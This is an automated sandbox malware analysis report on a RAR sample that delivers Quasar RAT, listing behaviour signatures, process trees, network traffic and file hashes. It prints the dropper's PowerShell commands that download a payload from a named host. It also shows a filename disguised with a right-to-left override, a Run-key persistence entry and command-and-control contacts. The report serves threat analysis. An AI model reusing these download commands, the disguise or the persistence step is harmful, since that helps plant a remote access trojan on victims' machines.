Malware Analysis Report

2024-10-19 08:35

Sample ID 240730-c3snfatanj
Target d5c58db5059aefcb3abcc09914655780472d653ccf7f42dfacf7d5d66b8ea600.rar
SHA256 d5c58db5059aefcb3abcc09914655780472d653ccf7f42dfacf7d5d66b8ea600
Tags
discovery execution quasar office04 persistence spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d5c58db5059aefcb3abcc09914655780472d653ccf7f42dfacf7d5d66b8ea600

Threat Level: Known bad

The file d5c58db5059aefcb3abcc09914655780472d653ccf7f42dfacf7d5d66b8ea600.rar was found to be: Known bad.

Malicious Activity Summary

discovery execution quasar office04 persistence spyware trojan

Quasar RAT

Quasar payload

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

.NET Reactor proctector

Checks computer location settings

Executes dropped EXE

Adds Run key to start application

Enumerates physical storage devices

Unsigned PE

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious use of SendNotifyMessage

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-30 02:36

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-30 02:36

Reported

2024-07-30 02:40

Platform

win7-20240705-en

Max time kernel

122s

Max time network

129s

Command Line

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\338E.tmp\338F.tmp\3390.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\338E.tmp\338F.tmp\3390.bat

MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

memory/2660-6-0x000007FEF5A8E000-0x000007FEF5A8F000-memory.dmp

memory/2660-8-0x0000000001F80000-0x0000000001F88000-memory.dmp

memory/2660-7-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

memory/2660-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

memory/2660-10-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

memory/2660-11-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

memory/2660-12-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

memory/2660-13-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

memory/2660-14-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 b310916d9f3f5fb99bb03ca1fc8a1d07
SHA1 5ff09f5fa270422f54de0827799bccdc28cbdff4
SHA256 665df35895f7174811a9d4c87a756924ed2eb1749575de0e25d85be00c905ae0
SHA512 6889b550877ed6928fcb7106d4de4ae5a5445e2995767b6676452f300046c403283d21570efbcdfe455088a4c01d049bc2253287064e2c828e3700d3b0b34da5

memory/2332-20-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

memory/2332-21-0x00000000028A0000-0x00000000028A8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-30 02:36

Reported

2024-07-30 02:39

Platform

win10v2004-20240709-en

Max time kernel

149s

Max time network

158s

Command Line

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8D3C.tmp\8D3D.tmp\8D3E.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"

C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

networkrunfdp.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 jdvdpconstructionltdfileportal.replit.app udp
US 34.117.33.233:443 jdvdpconstructionltdfileportal.replit.app tcp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 233.33.117.34.in-addr.arpa udp
US 34.117.33.233:443 jdvdpconstructionltdfileportal.replit.app tcp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 oshi.at udp
CH 188.241.120.6:443 oshi.at tcp
US 8.8.8.8:53 6.120.241.188.in-addr.arpa udp
US 192.228.105.2:4782 tcp
US 8.8.8.8:53 ipwho.is udp
DE 195.201.57.90:443 ipwho.is tcp
US 8.8.8.8:53 2.105.228.192.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 90.57.201.195.in-addr.arpa udp
US 8.8.8.8:53 58.99.105.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 122.10.44.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\8D3C.tmp\8D3D.tmp\8D3E.bat

MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

memory/2828-2-0x00007FFFEF263000-0x00007FFFEF265000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jtqof213.oto.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2828-8-0x000001E748700000-0x000001E748722000-memory.dmp

memory/2828-13-0x00007FFFEF260000-0x00007FFFEFD21000-memory.dmp

memory/2828-14-0x00007FFFEF260000-0x00007FFFEFD21000-memory.dmp

memory/2828-18-0x00007FFFEF260000-0x00007FFFEFD21000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 98ca3263bd17f6f4308b8e4ff7530958
SHA1 6f41bacd42af6a11bb8d1516f7b07171087e7a17
SHA256 d25dfa289ae0981cb5c6da04de6c9f1a4aaf51ba8eafb7aeda3c9e5a27268e19
SHA512 f2ad36f84956741c2e3ef494a36f2a96bf944ab035419e82447bb25a53b309a9e93b450d679cb5709f6acb5a2b7956c568b280151b65313637f758ffd08f01e7

C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

MD5 a18b7de2990becc30f700720e19ebfef
SHA1 b48c1a5c7756bccfe05d7999daeb96e7ab688cfd
SHA256 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5
SHA512 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b

memory/488-35-0x0000000000210000-0x000000000027E000-memory.dmp

memory/488-42-0x00000000055B0000-0x00000000058D5000-memory.dmp

memory/488-43-0x0000000006030000-0x0000000006354000-memory.dmp

memory/488-44-0x0000000006900000-0x0000000006EA4000-memory.dmp

memory/488-45-0x0000000005DE0000-0x0000000005E72000-memory.dmp

memory/488-46-0x0000000005E80000-0x0000000005E8A000-memory.dmp

memory/488-47-0x00000000065A0000-0x00000000065F0000-memory.dmp

memory/488-48-0x00000000066B0000-0x0000000006762000-memory.dmp

memory/488-49-0x00000000074D0000-0x0000000007AE8000-memory.dmp

memory/488-50-0x0000000007210000-0x0000000007222000-memory.dmp

memory/488-51-0x0000000007270000-0x00000000072AC000-memory.dmp

memory/488-52-0x0000000007320000-0x0000000007386000-memory.dmp